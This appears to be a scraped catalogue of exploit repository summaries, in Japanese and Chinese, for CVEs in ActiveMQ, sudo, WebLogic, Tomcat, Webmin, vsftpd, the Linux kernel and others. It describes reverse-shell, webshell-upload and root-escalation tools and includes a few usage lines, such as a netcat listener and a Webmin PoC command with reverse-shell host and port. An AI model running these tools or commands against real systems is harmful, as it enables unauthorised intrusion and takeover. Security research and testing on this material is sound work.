ActiveMQ_putshell-CVE-2016-3088

ActiveMQputshell-CVE-2016-3088- ActiveMQputshellでwebshellを直接取得 使い方： python3 ActiveMQputshell.py -u url...

OffensivePascal-CVE-2010-2075

CVE-2010-2075 FreePascalによるCVE-2010-2075の実装 脆弱性 UnrealIRCd 3.2.8.1 任意の待受サービスに「AB; command」を送信することでRCEが発生します。送信したコマンドは、UnrealIRCDが実行されているのと同じユーザーで実行されます。 この実装は、あなたのリスナーへのリバースシェルを起動します。 ステップ 1 リスナーを起動します。例: netcat -lvp 4444 ステップ 2 エクスプロイトを実行します ./exploit ここで、host ip と port はリスナーが実行されている場所です。 要件...

CVE-2016-6662

CVE-2016-6662 SQLインジェクションからrootシェルへ：CVE-2016-6662を使用したMaYaSeVeNによる 概念実証: https://www.youtube.com/watch?v=lyc7GFE3q2U...

CVE-2023-22809

CVE-2023-22809 参考：https://vulners.com/cve/CVE-2023-22809 Exploit 标题：sudo 1.8.0 - 1.9.12p1 - 权限提升 Exploit 作者：n3m1.sys CVE：CVE-2023-22809 日期：2023/01/21 厂商主页：https://www.sudo.ws/ 软件链接：https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz 版本：1.8.0 至 1.9.12p1 测试环境：Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9...

CVE-2019-2729_creal

CVE-2019-2729 - creal CVE-2019-2729 のエクスプロイト用 PoC WebLogic 向け エクスプロイトの使用方法 root@kitploit: python3 creal.py -h usage: creal.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --command CMD comma...

Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

本脚本针对Nexus Repository Manager3 EL注入（CVE-2018-16621）漏洞，一键执行漏洞利用反弹shell 运行示例： 在攻击机本地运行脚本，根据提示输入靶机ip、端口、本机监听ip、端口，之后即可一键执行漏洞利用代码，GET反弹Shell。...

InfluxDB-Exploit-CVE-2019-20933

InfluxDB エクスプロイト CVE-2019-20933 InfluxDB CVE-2019-20933 脆弱性のためのエクスプロイトです。InfluxDB 1.7.6 より前のバージョンでは、services/httpd/handler.go の authenticate 関数に認証バイパスの脆弱性があります。これは、JWT トークンが空の SharedSecret（別名 shared secret）を持つ可能性があるためです。...

CVE-2020-15227

CVE-2020-15227 免责声明！对于在真实环境中使用它，我不承担任何责任，所以请不要这样做。这个东西只是为了向系统管理员演示和测试而制作的 我是根据 David Grudl（Nette 基金会的创始人）发布的 CVE 制作了这个漏洞利用程序 作为一名安全研究员，我开发了一个小怪物（当然是为了教育和演示目的，出于道德原因，我也制作了自动修复器） 该安全漏洞利用了 nette.micro 中的 callback 参数。我们不知道这个垃圾为什么存在（可能是后门功能？） 该漏洞利用程序试图从受害者服务器获取反向 shell。URL 在这里是硬编码的，所以不用担心修改漏洞利用程序。 欢迎提...

CVE-2025-24813-POC

JSP Web Shell Uploader HTTP PUTリクエストを使用して、基本的なJSPウェブシェルを1つ以上のターゲットにアップロードするシンプルなPythonツールです。 ⚠️ 教育および許可された侵入テストのみを目的としています。 Apache Tomcatは、パス中の../シーケンスの不適切な処理により、パス等価性/パストラバーサルの脆弱性が存在します。 CVE ID: CVE-2025-24813 重要度: クリティカル 参考リンク: https://github.com/advisories/GHSA-83qj-6fr2-vhqg 🧰 機能...

CVE-2022-0848-RCE

CVE-2022-0848 part-db 0.5.11 中的远程代码执行 RCE 修改 bash 文件中的主机并运行，然后通过 RCE 获取 shell...

CVE-2022-31814

CVE-2022-31814 更新されたエクスプロイト - pfBlockerNG = 2.1.426 未認証RCE CVE-2022-31814 説明 このスクリプトは、pfBlockerNG = 2.1.426 でリモートコード実行を可能にする概念実証エクスプロイトです。単一のターゲットURLまたはURLリストを受け取り、複数のペイロードを使用してシェルをアップロードし、コマンドを実行した後、シェルを削除します。 必要条件 このスクリプトには Python 3.x と requests モジュールのインストールが必要です。以下のコマンドでインストールできます：...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-概念実証 Chamilo LMS の未認証の大きなファイルアップロード機能により、リモートコード実行が可能 このコードは HACKTHEBOX CTF PERMX のために作成・使用されています Chamilo LMS v1.11.24 以下の /main/inc/lib/javascript/bigupload/inc/bigUpload.php における大きなファイルアップロード機能の未認証ファイルアップロードにより、任意のファイルをサーバーにアップロードでき、PHPリバースシェルをアップロードすることが可能です。...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc CVE-2019-12840 のスタンドアロン PoC。 以下は、ポート443でリバースシェルを送り返します。 root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | | |...

modrosnlr5

🧬 modrosnlr5 – Linux 内核 LPE PoC（CVE-2026-31431） 概念验证工具，旨在验证 Linux 系统中 CVE-2026-31431 漏洞的利用。 该漏洞利用内核的 AFALG 套接字接口注入载荷，从无权限的用户会话中获取具有 root 权限的 shell。 ⚖️ 道德与受控使用： 本代码仅用于研究、培训和授权审计目的。只能在拥有明确许可的环境中进行执行。 ✳️ 主要功能 权限预检： 自动分析 UID、GID 以及 sudo、wheel 和 root 组的成员资格。 AFALG 套接字工程： PoC 通过 os.splice 劫持 su...

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE Python で書かれた CVE-2007-2447 エクスプロイト。リバースシェルを取得します。...

vsftpd2.3.4PyExploit

vsftpd2.3.4PyExploit vsftpd 2.3.4 CVE-2011-2523 でroot権限を取得するためのエクスプロイト（Pythonで書かれています） 使い方: ./exploit.py $VictimIPaddress 注意! このエクスプロイトはリバースではなくシェルを開きます。エクスプロイト実行後にリバースシェルを開くことをお勧めします。ここでは、被害者のホストにどのようなツールや権限があるかを仮定したくなかったので、その操作は含めていません。 以下でも見つけることができます: https://www.exploit-db.com/exploits/49757...

CVE-2019-9978

Social Warfare Plugin Wordpress 3.5.2 リモートコード実行 Wordpress Social Warfare リモートコード実行（自動アップロードシェル） 日付: 2019年3月 ダウンロードリンク: https://wordpress.org/plugins/social-warfare/ リファレンス: https://wpvulndb.com/vulnerabilities/9259 バージョン: CVE: 2019-9978 使用方法: python script.py list-of-sites.txt...

EFS_CVE-2021-43217

EFS バイパス脆弱性CVE-2021-43217 目的 この脆弱性デモンストレーションは、Kali Linux を通じて Windows 10 上で EFS バイパスをシミュレーションするための管理された環境を構築することを目的としていました。主な焦点は、脆弱性のペネトレーションを実行し、EFS の弱点を通じてデスクトップを制御する可能性を示すことでした。 習得したスキル EFS に関する高度な理解 Kali Linux の習熟 python3 スクリプトとシェルコードの生成能力（画像として記載） MSFconsole および Metasploit...

kuang_grade_mk11

kuanggrademk11 CVE-2013-0156 用の疑似シェル。...

CVE-2026-31431

CVE-2026-31431 — 通过 AFALG 实现本地权限提升 2026-04-29 — 我在MyDigitalLife 论坛 分享此漏洞利用代码一天后，将其公开发布。 它不需要 Python；使用 C 语言编写，并通过以下命令编译为尽可能小的体积： root@kitploit: musl-gcc -static -Os -o exploit exploit.c -s 严重威胁。该漏洞利用二进制文件编译时无任何依赖，可用于测试任何 Linux 系统是否存在漏洞。 CVE-2026-31431 是 NIST 确认的 Linux 内核漏洞，允许非特权本地用户在数秒内获得 root...